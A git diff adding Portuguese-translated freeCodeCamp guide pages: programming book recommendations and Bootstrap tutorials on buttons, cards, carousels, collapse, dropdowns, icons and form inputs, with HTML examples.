+_JavaScript eloquente_
+
+Um dos melhores livros sobre JavaScript. Uma obrigação para ambos, programadores iniciantes e intermediários, que codificam em JavaScript. A melhor parte é que o e-book está disponível gratuitamente.
+
+*   [E-book](https://eloquentjavascript.net/) (grátis)
+*   [Amazon](https://www.amazon.com/gp/product/1593275846/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1593275846&linkCode=as2&tag=marijhaver-20&linkId=VPXXXSRYC5COG5R5)
+
+_Você não sabe JS_
+
+Seis séries de livros de Kyle Simpson. Série detalhada sobre todos os aspectos do JavaScript.
+
+*   [Github](https://github.com/getify/You-Dont-Know-JS) (grátis)
+*   [Versão Kindle, Amazon](https://www.amazon.com/You-Dont-Know-Js-Book/dp/B01AY9P0P6)
+
+_JavaScript: as boas partes_ Livro do "avô" de JavaScript, Douglas Crockford. Ele discute as partes "boas" e "ruins" do JavaScript.
+
+*   [Amazon](https://www.amazon.com/JavaScript-Good-Parts-Douglas-Crockford/dp/0596517742)
+
+_JavaScript: Info_ Uma coleção de artigos cobrindo o básico (linguagem central e trabalhando com um navegador), bem como tópicos avançados com explicações concisas. Disponível como um e-book com pagamento e também como um tutorial on-line.
+
+*   [Conectados](https://javascript.info/)
+*   [E-book](https://javascript.info/ebook)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/book-recommendations/python/index.md b/client/src/guide/portuguese/book-recommendations/python/index.md
new file mode 100644
index 0000000000..7dabcec707
--- /dev/null
+++ b/client/src/guide/portuguese/book-recommendations/python/index.md
@@ -0,0 +1,44 @@
+---
+title: Books on Python Programming Language
+localeTitle: Livros sobre Linguagem de Programação Python
+---
+\### Lista de livros
+
+_Pense em Python 2e_
+
+*   Livre (E-book), que abrange os conceitos básicos do Python. É novato amigável e uma obrigação para as pessoas que são novas para programação!
+*   [Amazon](https://www.amazon.com/gp/product/1491939362/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1491939362&linkCode=as2&tag=greenteapre01-20&linkId=XCU5FNNNMXRHDD7X)
+*   ISBN-13: 978-1491939369
+*   [Local na rede Internet](http://greenteapress.com/wp/think-python-2e/)
+*   [E-book](http://greenteapress.com/thinkpython2/html/index.html) (grátis)
+
+_Aprenda o Python 3 da maneira mais difícil_
+
+*   Pago (ebook livre disponível) livro que abrange os conceitos básicos de python. Ele foi projetado para você começar com a linguagem python e familiarizar-se com sua sintaxe e funcionamento quando concluir o livro.
+    
+*   [Amazon](https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888)
+    
+*   ISBN-13: 978-0134692883
+    
+*   ISBN-10: 0134692888
+    
+*   [Website](https://learnpythonthehardway.org/) (Compre do criador | Inclui videoaulas)
+    
+*   [E-book](https://learnpythonthehardway.org/python3/) (grátis)
+    
+*   [Programação Funcional em Python por David Mertz \[OREILLY\] \[FREE\]](https://www.oreilly.com/programming/free/files/functional-programming-python.pdf)
+    
+*   [Python em Educação por Nicholas H. Tollervey \[OREILLY\] \[FREE\]](https://www.oreilly.com/programming/free/files/python-in-education.pdf)
+    
+*   [Como pensar como um cientista da computação por Allen Downey \[V 2.0.17\] \[FREE\]](http://greenteapress.com/thinkpython/thinkpython.pdf)
+    
+*   [Um Byte de Python \[LIVRE\]](https://python.swaroopch.com)
+    
+
+_Black Hat Python: Programação em Python para Hackers e Pentesters_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900/)
+    
+*   ISBN-10: 1593275900
+    
+    Por favor, sinta-se livre para adicionar mais que você achou útil!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/buttons/index.md b/client/src/guide/portuguese/bootstrap/buttons/index.md
new file mode 100644
index 0000000000..bd4c2aa9f0
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/buttons/index.md
@@ -0,0 +1,97 @@
+---
+title: Buttons
+localeTitle: Botões
+---
+## Botões
+
+A estrutura do Bootstrap fornece várias opções de estilo para botões. Esses estilos ajudam você a fornecer uma representação visual ao usuário do que o botão pode fazer.
+
+#### Como usar:
+
+Para usar os botões de bootstrap, você segue as mesmas etapas para criar um botão em HTML, exceto que também aplica a classe CSS aplicável ao botão. Um exemplo de código foi fornecido abaixo.
+
+**Exemplo de código:**
+
+`<button type="button" class="btn btn-primary">Primary</button>`
+
+Primário
+
+Você também pode usar botões de bootstrap com os elementos `<a>` e `<input>` , conforme mostrado nos exemplos abaixo.
+
+`<a class="btn btn-primary" href="#" role="button">This button is a link</a>`
+
+[Este botão é um link](#)
+
+`<input class="btn btn-primary" type="submit" value="Submit">`
+
+#### Lista de Classes do Botão de Inicialização:
+
+Esta é uma lista das classes CSS que o bootstrap fornece para os botões.
+
+`.btn` Este é o botão básico do bootstrap.
+
+Basic
+
+`.btn-default` Este é o botão padrão do bootstrap.
+
+Padrão
+
+`.btn-primary` Este é o botão principal do bootstrap.
+
+Primário
+
+`.btn-success` Este é o botão de sucesso do bootstrap.
+
+Sucesso
+
+`.btn-info` Este é o botão de informações do bootstrap.
+
+Info
+
+`.btn-warning` Este é o botão de aviso do bootstrap.
+
+Aviso
+
+`.btn-danger` Este é o botão de perigo do bootstrap.
+
+perigo
+
+`.btn-link` Este é o botão de link do bootstrap.
+
+Ligação
+
+`.btn-light` Este é o botão de luz do bootstrap.
+
+Leve
+
+#### Tamanhos de botão de inicialização:
+
+Esta é uma lista das classes CSS para tamanhos diferentes dos botões.
+
+`.btn-lg` Este é o botão grande do bootstrap.
+
+ampla
+
+`.btn-sm` Este é o pequeno botão do bootstrap.
+
+Pequeno
+
+`.btn-xs` Este é o botão extra pequeno do bootstrap.
+
+Muito pequeno
+
+#### Bootstrap Delineou Botões:
+
+É possível também ter botões delineados em vez de totalmente coloridos nos botões. Isso é conseguido colocando o `outline` correção intermediária entre a classe de botão desejada. Um uso de amostra seria o seguinte:
+
+`<button type="button" class="btn btn-outline-primary">Primary</button>`
+
+Os botões descritos fazem parte do Bootstrap desde a versão 4, por favor, certifique-se de que você está usando a versão correta, caso não consiga fazê-los funcionar.
+
+_Nota: Não inclua o ponto no Atributo de Classe HTML, referindo-se às classes com um ponto só é usado ao ajustar as classes em CSS._
+
+#### Mais Informações:
+
+*   [Documentação dos botões do Bootstrap](https://getbootstrap.com/docs/4.0/components/buttons/)
+*   [Documentação do Bootstrap Button Group](http://getbootstrap.com/docs/4.0/components/button-group/)
+*   [Inicialização do Bootstrap](/articles/bootstrap/bootstrap-get-started)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/cards/index.md b/client/src/guide/portuguese/bootstrap/cards/index.md
new file mode 100644
index 0000000000..49768f766f
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/cards/index.md
@@ -0,0 +1,84 @@
+---
+title: Cards
+localeTitle: Postais
+---
+## \# Bootstrap 4 Cartões
+
+*   Usando o Bootstrap 4, você pode criar cartões.
+    
+*   Cartões são caixas delimitadas com um pouco de preenchimento em torno do conteúdo dentro delas, que podem ser usadas para exibir convenientemente um conjunto específico de informações.
+    
+
+##### Para criar uma placa básica do Bootstrap 4, você precisa criar um contêiner `<div>` com a classe `.card` e dentro de outro contêiner `<div>` com a classe `.card-body`
+
+###### É assim que vai parecer num documento html
+
+```html
+
+<div class="card"> 
+ <!-- content of the card goes here --> 
+  <div class="card-body">Content</div> 
+ </div> 
+```
+
+## \### Cabeçalho e rodapé
+
+A estrutura do cartão pode ser aprimorada pela adição de um cabeçalho e um rodapé. Para adicionar um desses elementos, você deve criar um contêiner `<div>` com a `.card-header` ou `.card-footer` .
+
+###### É assim que vai parecer num documento html
+
+```html
+
+<div class="card"> 
+ <!-- content of the card goes here --> 
+  <div class="card-header">Header content</div> 
+  <div class="card-body">Body content</div> 
+  <div class="card-footer">Footer content</div> 
+ </div> 
+```
+
+## \### Cartões com imagens
+
+*   Você também pode usar classes específicas para exibir imagens em cartões.
+    
+*   Existem duas classes para essa finalidade: card-img-top, que coloca uma imagem na parte superior da placa, e card-img-bottom, que coloca a imagem na parte inferior, ambas encaixando-as na borda arredondada do cartão. o cartão ordenadamente.
+    
+*   Essas classes devem ser usadas com a tag `<img>` dentro de um cartão para funcionar corretamente.
+    
+*   Lembre-se de que, se você quiser que uma imagem abranja toda a largura, adicione o contêiner de imagens fora do contêiner `<div>` com a classe de corpo do cartão.
+    
+
+###### É assim que vai parecer num documento html
+
+```html
+
+<div class="card"> 
+ <!-- content of the card goes here --> 
+ <!-- image on the top of the content --> 
+  <img src="picture.jpg" alt="Picture" class="card-img-top"> 
+  <div class="card-body">Body content</div> 
+ </div> 
+ <div class="card"> 
+ <!-- content of the card goes here --> 
+  <div class="card-body">Body content</div> 
+ <!-- image on the bottom of the content --> 
+  <img src="picture.jpg" alt="Picture" class="card-img-bottom"> 
+ </div> 
+```
+
+## \### Sobreposição de cartões
+
+*   Para criar uma imagem no plano de fundo do cartão e exibir o texto em cima, é necessário usar o img-overlay de cartão de classe no conteúdo, que você deseja exibir sobre a imagem, em vez de usar a classe body-card. .
+
+###### É assim que vai parecer num documento html
+
+```html
+
+<div class="card"> 
+ <!-- content of the card goes here --> 
+  <img src="picture.jpg" alt="Picture" class="card-img-top"> 
+ <!-- this content is displayed over the image, which is now in the background and covers the whole element --> 
+  <div class="card-img-overlay">Overlay content</div> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/carousel/index.md b/client/src/guide/portuguese/bootstrap/carousel/index.md
new file mode 100644
index 0000000000..6ff693ec36
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/carousel/index.md
@@ -0,0 +1,152 @@
+---
+title: Carousel
+localeTitle: Carrossel
+---
+## Carrossel
+
+O carrossel é um componente de apresentação de slides para percorrer elementos como imagens ou slides de texto. Ele fornece uma maneira dinâmica de representar uma grande quantidade de dados (texto ou imagens) deslizando ou passando de forma suave
+
+Sample Code of Image Slider está abaixo:
+
+```html
+
+<html> 
+ <head> 
+ 
+ <!-- BootStrap's minified CSS version --> 
+ <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous"> 
+ 
+ 
+ </head> 
+ 
+ <style> 
+ 
+ .carousel-indicators li 
+ { 
+ background-color:red; 
+ } 
+ 
+ .carousel-indicators .active 
+ { 
+ background-color:blue; 
+ } 
+ 
+ .carousel-indicators .item 
+ { 
+ height:700 px; 
+ width :800 px; 
+ } 
+ </style> 
+ 
+ 
+ <body> 
+  <!-- Declaring div for Carousel to appear inside it --> 
+ <div class="container"> 
+ 
+ <div id="myCarousel" class="carousel slide" data-ride="carousel"> 
+ 
+ <!-- Indicators --> 
+ 
+ <ol class="carousel-indicators"> 
+   <li data-target="#myCarousel" data-slide-to="0" class="active"></li> 
+   <li data-target="#myCarousel" data-slide-to="1" ></li> 
+   <li data-target="#myCarousel" data-slide-to="2"></li> 
+ </ol> 
+ 
+  <!-- Wrapper for Slides  --> 
+ <div class="carousel-inner"> 
+ 
+ <div  class="item active"> 
+  <img src="http://res.cloudinary.com/dneh1l9vl/image/upload/v1506241850/Hello_bootstrap_ohtphr.png" alt="Hello_Bootstrap" > 
+ </div> 
+ 
+ <div  class="item"> 
+  <img src="http://res.cloudinary.com/dneh1l9vl/image/upload/v1506613859/devices_bootstrap_nk4zlk.jpg" alt="Device_Bootstrap" > 
+ </div> 
+ 
+ <div  class="item"> 
+  <img src="http://res.cloudinary.com/dneh1l9vl/image/upload/v1506613966/responsive_bootstrap_nzuo9l.jpg" alt="Responsive_Bootstrap"> 
+ </div> 
+ 
+ </div> 
+ 
+ <!-- Left and Right Controls for sliding through the slides  --> 
+ 
+ <a class="left carousel-control"  href="#myCarousel" data-slide="prev"> 
+ <span class="glyphicon glyphicon-chevron-left"></span> 
+ </a> 
+ 
+ <a class="right carousel-control"  href="#myCarousel" data-slide="next"> 
+ <span class="glyphicon glyphicon-chevron-right"></span> 
+ </a> 
+ 
+ </div> 
+ </div> 
+ 
+ 
+ <!-- Optional JavaScript --> 
+ <!-- jQuery first, then Popper.js, then Bootstrap JS --> 
+ <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> 
+ 
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script> 
+ 
+ <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script> 
+ 
+ </body> 
+ </html> 
+```
+
+Entendendo os atributos e classes usados ​​no exemplo acima:
+
+### 1) Atributos
+
+a) `data-ride` : - `data-ride ="carousel"` permite que a animação do carregamento da página comece.
+
+b) `data-target` : - aponta para o id do carrossel
+
+c) `data-slide-to` : - Especifica para qual slide se deslocar ao clicar nos indicadores (pontos específicos).
+
+### 2) Classes
+
+a) `carousel` : - `class="carousel"` especifica que o div contém carrossel.
+
+b) `slide` : - Esta classe adiciona transições CSS.
+
+c) `carousel-inner` : - Indica a seção de código que conterá o texto / imagem a ser exibido nos slides.
+
+d) `item` : - Refere-se ao conteúdo a ser exibido no carrossel.
+
+e) `left carousal-control` : - Isso adiciona o botão de voltar, permitindo deslizar para o slide anterior.
+
+f) `right carousal-control` : - Isso adiciona o próximo botão que permite deslizar para o próximo slide.
+
+g) `carousel-caption` : - Esta classe permite que você adicione legendas a cada slide.
+
+Nota: Adicione `class="carousel-caption"` para cada item.
+
+### Uso
+
+#### 1) Via atributos de dados
+
+O atributo `data-ride="carousel"` é usado para marcar um carrossel como animação a partir do carregamento da página. `data-slide` aceita as palavras-chave `prev` ou `next` , que altera a posição do slide em relação à sua posição atual.
+
+#### 2) Via JavaScript
+
+Chame o carrossel manualmente com:
+
+`$('.carousel').carousel()`
+
+### Opções
+
+As opções podem ser passadas por meio de atributos de dados ou JavaScript. Para atributos de dados, anexe o nome da opção aos `data-` , como em `data-interval=""` .
+
+Algumas opções frequentemente usadas são:
+
+*   intervalo
+*   pausa
+*   passeio
+*   embrulho
+
+## detalhes adicionais
+
+*   [Carrossel de Bootstrap](https://getbootstrap.com/docs/4.0/components/carousel/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/collapse/index.md b/client/src/guide/portuguese/bootstrap/collapse/index.md
new file mode 100644
index 0000000000..f285eb358c
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/collapse/index.md
@@ -0,0 +1,172 @@
+---
+title: Collapse
+localeTitle: Colapso
+---
+## Colapso
+
+O Collapse é um plug-in que ajuda a ocultar ou revelar elementos usando uma animação suave. Os desenvolvedores geralmente usam o colapso de bootstrap para ocultar ou revelar detalhes secundários da seção da página da Web. Por exemplo, você pode ter uma lista de itens com descrições muito longas. A exibição de tudo consome muito espaço para que o colapso do bootstrap possa ser usado para ocultar e revelar a descrição.
+
+O colapso do Bootstrap é fornecido como um plug-in separado chamado collapse.js, o que significa que ele pode ser usado fora do ambiente de bootstrap. O plugin em si pode ser encontrado aqui http://getbootstrap.com/2.0.4/javascript.html#collapse.
+
+O colapso de bootstrap pode ser usado com alguns elementos, um botão, tag âncora ou painel. Para usar o colapso você precisa de pelo menos dois elementos, um elemento controlará o estado de ocultar ou revelar do outro elemento.
+
+O plug-in de colapso funciona alterando a classe no elemento recolhível. Existem três classes possíveis:
+
+*   .collapse - esta classe esconde o elemento
+*   .collapsing - essa classe se apega durante a transição
+*   .collapse.in - esta classe mostra o elemento
+
+### Como usá-lo
+
+Para usar o colapso, você pode fazer isso de duas maneiras:
+
+*   Usando `href` na tag `<a>`
+*   Usando o `data-target` na tag `<button>`
+
+O valor em `href` ou `data-target` será o seletor do elemento a ser recolhido. Se você decidir usar a tag `<a>` ou `<button>` , é necessário o `data-toggle="collapse"` .
+
+O elemento a recolher deve conter a classe `.collapse` .
+
+### Exemplos com botões
+
+```html
+
+<a class="btn btn-primary" role="button" data-toggle="collapse" href="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+  Link with href 
+ </a> 
+ <button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+  Button with data-target 
+ </button> 
+ 
+ <div class="collapse" id="collapseExample"> 
+  <div class="well"> 
+    ... 
+  </div> 
+ </div> 
+```
+
+No exemplo acima, usamos um botão e uma tag âncora para controlar um elemento div. O botão e a âncora que são os elementos de controle precisam de duas coisas, um atributo para especificar que o elemento de controle é para o recolhimento e outro atributo para especificar qual elemento ele controla (oculta ou revela).
+
+Ambos têm um atributo de _alternância de dados_ com o _colapso_ do valor que especifica que eles devem ser usados ​​para _recolher_ um elemento. A marca de âncora usa um atributo _href_ para especificar o elemento que ele controla, enquanto o botão usa um atributo _data-target_ para especificar o elemento que ele controla.
+
+> Você pode ver uma demonstração do botão aqui https://www.w3schools.com/bootstrap/tryit.asp?filename=trybs\_collapsible&stacked=h
+> 
+> Você pode ver uma demonstração da marca de âncora aqui https://www.w3schools.com/bootstrap/tryit.asp?filename=trybs\_collapsible2&stacked=h
+
+## Exemplo com acordeão
+
+```html
+
+<div class="panel panel-default"> 
+    <div class="panel-heading" role="tab" id="headingOne"> 
+      <h4 class="panel-title"> 
+        <a role="button" data-toggle="collapse" href="#collapseOne" aria-expanded="true" aria-controls="collapseOne"> 
+          Collapsible Group Item #1 
+        </a> 
+      </h4> 
+    </div> 
+    <div id="collapseOne" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingOne"> 
+      <div class="panel-body"> 
+            Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS. 
+      </div> 
+    </div> 
+  </div> 
+```
+
+No exemplo acima, usamos o colapso de bootstrap para criar um acordeão. O acordeão é simplesmente um painel de bootstrap no qual o cabeçalho é exibido e é usado para controlar o corpo do painel.
+
+A cabeça do painel contém uma tag âncora que é usada para controlar o estado de colapso do corpo. Portanto, anexamos a _alternância de dados_ para especificar que esse elemento é usado para recolher e _href_ para especificar o elemento que ele oculta ou revela. Também podemos ter um grupo de painéis para criar um grupo de painéis que possa ser recolhido no painel.
+
+> Você pode ver uma demonstração do colapso do painel aqui https://www.w3schools.com/bootstrap/tryit.asp?filename=trybs acordeão _desmontável_ e empilhado = h
+
+### Elemento de conteúdo
+
+Um parágrafo!
+
+```html
+
+<p>Lorem ipsum dolar, Free Code Camp rocks... </p> 
+```
+
+1.  Adicione a classe `.collapse` para declarar que o parágrafo é um elemento que pode ser `.collapse` .
+2.  Adicione o `id` para tornar este elemento colapsível acessível para o elemento controlador.
+
+```html
+
+<p id="myParagraph" class="collapse">Lorem ipsum dolar, Free Code Camp rocks... </p> 
+```
+
+### Elemento controlador
+
+Um botão!
+
+```html
+
+<button>Click Me To See Some Magic!</button> 
+```
+
+1.  Adicione o atributo `data-toggle="collapse"` para controlar o elemento colapsável.
+2.  Adicione o atributo `data-target="#id"` para referenciar o elemento recolhível com seu id.
+
+```html
+
+<button data-toggle="collapse" data-target="#myParagraph">Click Me To See Some Magic!</button> 
+```
+
+## Exemplo
+
+```html
+
+<p> 
+  <a class="btn btn-primary" data-toggle="collapse" href="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+    Link with href 
+  </a> 
+  <button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+    Button with data-target 
+  </button> 
+ </p> 
+ <div class="collapse" id="collapseExample"> 
+  <div class="card card-block"> 
+    Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. 
+  </div> 
+ </div> 
+```
+
+### Usando com JavaScript
+
+Este plug-in permite usá-lo com JavaScript, onde você só precisa selecionar o elemento que deseja recolher para habilitá-lo:
+
+```js
+$('.collapsible-element').collapse(); 
+```
+
+O `collapse` método aceita um objeto opcional onde você pode definir o estado inicial do elemento dobrável. As opções são:
+
+*   `toggle` : Ele irá esconder ou mostrar o elemento dependendo do seu estado. Se estiver oculto, será mostrado, se for mostrado, ficará oculto.
+*   `hide` : `hide` o elemento.
+*   `show` : Mostra o elemento.
+
+```js
+$('.collapsible-element').collapse('hide'); 
+```
+
+Além disso, existem alguns métodos expostos para conectar-se à funcionalidade de recolhimento:
+
+*   `show.bs.collapse` : dispara imediatamente quando o método da instância de `show` é chamado.
+*   `shown.bs.collapse` : `shown.bs.collapse` quando um elemento de `shown.bs.collapse` foi tornado visível para o usuário (aguardará a conclusão das transições CSS).
+*   `hide.bs.collapse` : Disparado imediatamente quando o método `hide` foi chamado.
+*   `hidden.bs.collapse` : `hidden.bs.collapse` quando um elemento de `hidden.bs.collapse` foi ocultado do usuário (aguardará a conclusão das transições CSS).
+
+```js
+$('.collapsible-element').on('show.bs.collapse', function() { 
+  // for example you want to make an AJAX call to get some data to put in the collapsible element. 
+ }) 
+```
+
+### Veja em Ação
+
+![Texto alternativo](https://github.com/figengungor/Gif/blob/master/freeCodeCamp/bootstrap/collapse/collapse.gif)
+
+#### Mais Informações:
+
+[O guia oficial do Bootstrap 4 sobre o colapso](https://v4-alpha.getbootstrap.com/components/collapse/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/dropdowns/index.md b/client/src/guide/portuguese/bootstrap/dropdowns/index.md
new file mode 100644
index 0000000000..f30cda9fac
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/dropdowns/index.md
@@ -0,0 +1,39 @@
+---
+title: Dropdowns
+localeTitle: Dropdowns
+---
+## Dropdowns
+
+O Bootstrap fornece Dropdowns como um plugin para exibir listas de links. O menu suspenso é um botão que alterna a exibição de uma lista de links.
+
+Os menus suspensos do Bootstrap são projetados para serem genéricos e aplicáveis ​​a uma variedade de situações. Por exemplo, é possível criar menus suspensos que contenham campos de pesquisa ou formulários de login.
+
+## Exemplo
+
+```html
+
+<div class="dropdown"> 
+  <button class="btn btn-secondary dropdown-toggle" type="button" id="dropdownMenuButton" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> 
+    Dropdown example 
+  </button> 
+  <div class="dropdown-menu" aria-labelledby="dropdownMenuButton"> 
+    <a class="dropdown-item" href="#">Action</a> 
+    <a class="dropdown-item" href="#">Another action</a> 
+    <a class="dropdown-item" href="#">Something else here</a> 
+  </div> 
+ </div> 
+```
+
+## Exemplo explicado
+
+A classe _.dropdown_ indica um menu suspenso.
+
+Para abrir o menu suspenso, use um botão ou um link com uma classe de _.dropdown-toggle_ e o atributo _data-toggle = "dropdown_ .
+
+A classe _.caret_ cria um ícone de seta de cursor (▼), que indica que o botão é um menu suspenso.
+
+Adicione a classe _.dropdown-menu_ a um elemento de lista não ordenada para realmente criar o menu suspenso.
+
+#### Mais Informações:
+
+https://getbootstrap.com/docs/4.0/components/dropdowns/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/fontawesome-icons/index.md b/client/src/guide/portuguese/bootstrap/fontawesome-icons/index.md
new file mode 100644
index 0000000000..f613ee5008
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/fontawesome-icons/index.md
@@ -0,0 +1,40 @@
+---
+title: Fontawesome Icons For Bootstrap
+localeTitle: Ícones Fontawesome Para Bootstrap
+---
+## Ícones Fontawesome Para Bootstrap
+
+Bootstrap (versão 4) caiu fonte de ícones Glyphicon em sua última versão. Os ícones do Fontawesome fornecem mais de 675 ícones, eles vêm em formato de fonte.
+
+#### Como usar:
+
+No `<head>` do seu html, inclua uma referência ao Font Awesome.
+
+```html
+
+<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet"> 
+```
+
+Usar fontawesome é o mesmo que usar o Glyphicon.
+
+Basta criar uma tag `<i>` ou `<span>` e aplicar o prefixo CSS `fa` e o nome do ícone. Um exemplo de código foi fornecido abaixo.
+
+**Exemplo de código:**
+
+`<i class="fa fa-twitter" aria-hidden="true"></i>`
+
+`<span class="fa fa-freecodecamp" aria-hidden="true"></span>`
+
+#### Lista de ícones do Fontawesome:
+
+A lista completa de ícones fornecidos pelo fontawesome está disponível [aqui](http://fontawesome.io/cheatsheet/)
+
+`.fa fa-align-left` Este é o fontawesome alinhado à esquerda.
+
+`.fa fa-heart` Este é o ícone do coração fontawesome.
+
+_Nota: Não inclua o ponto no Atributo de Classe HTML, referindo-se às classes com um ponto só é usado ao ajustar as classes em CSS._
+
+#### Mais Informações:
+
+[Cheatsheet Fontawesome](http://fontawesome.io/cheatsheet/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/form-inputs/index.md b/client/src/guide/portuguese/bootstrap/form-inputs/index.md
new file mode 100644
index 0000000000..bdf83e0292
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/form-inputs/index.md
@@ -0,0 +1,143 @@
+---
+title: Form Inputs
+localeTitle: Entradas de formulário
+---
+## Entradas de formulário
+
+O Bootstrap suporta os seguintes controles de formulário:
+
+1.  entrada
+2.  textarea
+3.  caixa de seleção
+4.  rádio
+5.  selecione
+
+## Exemplo de trechos de código
+
+#### 1\. Entrada
+
+O Bootstrap suporta todos os tipos de entrada HTML5: texto, senha, data e hora, data e hora-local, data, mês, hora, semana, número, e-mail, url, pesquisa, telefone e cor.
+
+**Nota: As entradas NÃO serão totalmente estilizadas se o seu tipo não for declarado corretamente!**
+
+O exemplo a seguir contém dois elementos de entrada; um do tipo text e um do tipo password:
+
+```html
+
+<div class="form-group"> 
+  <label for="usr">Name:</label> 
+  <input type="text" class="form-control" id="usr"> 
+ </div> 
+ <div class="form-group"> 
+  <label for="pwd">Password:</label> 
+  <input type="password" class="form-control" id="pwd"> 
+ </div> 
+```
+
+#### 2\. Textarea
+
+O exemplo a seguir contém uma área de texto:
+
+```html
+
+<div class="form-group"> 
+  <label for="comment">Comment:</label> 
+  <textarea class="form-control" rows="5" id="comment"></textarea> 
+ </div> 
+```
+
+#### 3\. Caixas de Seleção
+
+Caixas de seleção são usadas se você quiser que o usuário selecione qualquer número de opções em uma lista de opções predefinidas.
+
+O exemplo a seguir contém três caixas de seleção. A última opção está desativada:
+
+```html
+
+<div class="checkbox"> 
+  <label> 
+  <input type="checkbox" value="">Option 1</label> 
+ </div> 
+ <div class="checkbox"> 
+  <label> 
+  <input type="checkbox" value="">Option 2</label> 
+ </div> 
+ <div class="checkbox disabled"> 
+  <label> 
+  <input type="checkbox" value="" disabled>Option 3</label> 
+ </div> 
+```
+
+Use a classe **incheckbox inline** se quiser que as caixas de seleção apareçam na mesma linha:
+
+```html
+
+<label class="checkbox-inline"><input type="checkbox" value="">Option 1</label> 
+ <label class="checkbox-inline"><input type="checkbox" value="">Option 2</label> 
+ <label class="checkbox-inline"><input type="checkbox" value="">Option 3</label> 
+```
+
+#### 4\. botões de rádio
+
+Os botões de opção são usados ​​se você quiser limitar o usuário a apenas uma seleção de uma lista de opções predefinidas.
+
+O exemplo a seguir contém três botões de opção. A última opção está desativada:
+
+```html
+
+<div class="radio"> 
+  <label><input type="radio" name="optradio">Option 1</label> 
+ </div> 
+ <div class="radio"> 
+  <label><input type="radio" name="optradio">Option 2</label> 
+ </div> 
+ <div class="radio disabled"> 
+  <label><input type="radio" name="optradio" disabled>Option 3</label> 
+ </div> 
+```
+
+Use a classe **.radio-inline** se quiser que as caixas de seleção apareçam na mesma linha:
+
+```html
+
+<label class="radio-inline"><input type="radio" name="optradio">Option 1</label> 
+ <label class="radio-inline"><input type="radio" name="optradio">Option 2</label> 
+ <label class="radio-inline"><input type="radio" name="optradio">Option 3</label> 
+```
+
+#### 5\. Selecione (lista)
+
+Listas de seleção são usadas se você quiser permitir que o usuário escolha entre várias opções.
+
+O exemplo a seguir contém uma lista suspensa (lista de seleção):
+
+```html
+
+<div class="form-group"> 
+  <label for="sel1">Select list:</label> 
+  <select class="form-control" id="sel1"> 
+    <option>1</option> 
+    <option>2</option> 
+    <option>3</option> 
+    <option>4</option> 
+  </select> 
+ </div> 
+```
+
+## Como tornar as entradas do Bootstrap acessíveis
+
+Campos de entrada devem ter rótulos ou alguma outra forma de identificador, como tags WAI-ARIA para atender a Web Diretrizes de acessibilidade de conteúdo ou [WCAG](https://www.w3.org/WAI/tutorials/forms/) para breve. Em ordem para que os leitores de tela transmitam com precisão para um usuário quais rótulos estão associados a quais entradas os rótulos deve referenciar a entrada correspondente.
+
+Isso pode ser feito usando o parâmetro `for` no HTML:
+
+```html
+
+<label for="email-input">Enter Email</label> 
+ <input type="email" class="form-control" id="email-input" placeholder="Enter Email"> 
+```
+
